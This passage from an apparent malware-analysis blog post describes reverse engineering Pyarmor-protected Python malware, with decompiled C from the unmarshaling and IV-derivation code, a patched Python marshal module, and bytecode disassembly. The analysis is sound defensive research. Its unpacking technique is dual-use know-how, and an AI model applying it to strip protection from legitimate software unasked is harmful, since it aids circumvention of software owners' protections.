              &lt;span class=&quot;n&quot;&gt;v265&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FILE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v265&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_546&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_479&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v320&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v320&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;PyErr_SetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyExc_EOFError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;EOF read where object expected&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;code_error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v265&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v320&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;LABEL_546&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v304&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v265&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v305&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v304&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v304&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This logic reads an additional bytes string prefixed with a length byte.
Its purpose is unknown - it didn’t seem to be relevant for static analysis.&lt;/p&gt;

&lt;p&gt;Since we already had the Python source at hand anyway, we simply inserted similar logic into the marshal module.
When doing so, you must take care not to disturb the normal loading activities of the Python runtime, since of course it also runs the unmarshaling code when loading built-in/standard modules.
The patch we came up with for python3.12 is part of our &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&quot;&gt;GitHub repo&lt;/a&gt;, along with a docker image building a patched Python.&lt;/p&gt;

&lt;p&gt;With the customized Python build, we were now able to successfully parse the binary data we decrypted!&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;marshal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;BytesIO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Got&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;extra&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Got&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;extra&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Got&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;extra&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7f9a3a6ce100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;frozen JAN-X1&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The module we parsed contains three code objects in total, so we got three debug prints about the additional bytes that were found.
It appears the malware’s source file was originally called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JAN-X1.py&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Side note:&lt;/strong&gt; There is one other reason that it is in Pyarmor’s interest to vendor the unmarshaling code.
The official variant of the code offers auditing hooks that allow you to be informed whenever the interpreter unmarshals data.
This was utilized by unpackers for older Pyarmor versions.
In the vendored code, any auditing logic is conveniently missing.&lt;/p&gt;

&lt;h3 id=&quot;analyzing-the-actual-bytecode&quot;&gt;Analyzing the actual bytecode&lt;/h3&gt;

&lt;p&gt;With our code object instance at the ready, we can finally disassemble some bytecode!&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;thecode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PUSH_NULL&lt;/span&gt;
              &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;__pyarmor_enter_60307__&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x1a&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x00\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BUILD_TUPLE&lt;/span&gt;              &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CALL_FUNCTION_EX&lt;/span&gt;         &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;POP_TOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RESUME&lt;/span&gt;                   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;22&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;Traceback &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;most&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;recent&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
&lt;span class=&quot;bp&quot;&gt;...&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;File&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/python312/Lib/dis.py&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;401&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_get_name_info&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;argval&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name_index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;extrainfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;o&quot;&gt;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;IndexError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;tuple&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Well… it’s a start? There are a couple of things to note here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Remember the code enter/leave functions we noted in C earlier in the post? Here, they’re calling enter&lt;/li&gt;
  &lt;li&gt;When looking at where the bytecode is defined in the decrypted binary data, the high entropy (encrypted) area happens to start directly after the chain of NOPs at the end&lt;/li&gt;
  &lt;li&gt;The first encrypted offset (26/0x1a) is also present in the conspicuous bytes string that is loaded at offset 8. Furthermore, the byte after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x1a&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@&lt;/code&gt; aka 0x40) is a good match for the size of the encrypted area&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Looking at the code for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c_enter_co_object&lt;/code&gt;, we see the following:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;iv_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret_zero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iv_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;// some sort of iv mutator? not used in our case&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;iv_offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codeptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iv_offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codeptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;44&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iv_offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;43&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iv&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iv_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
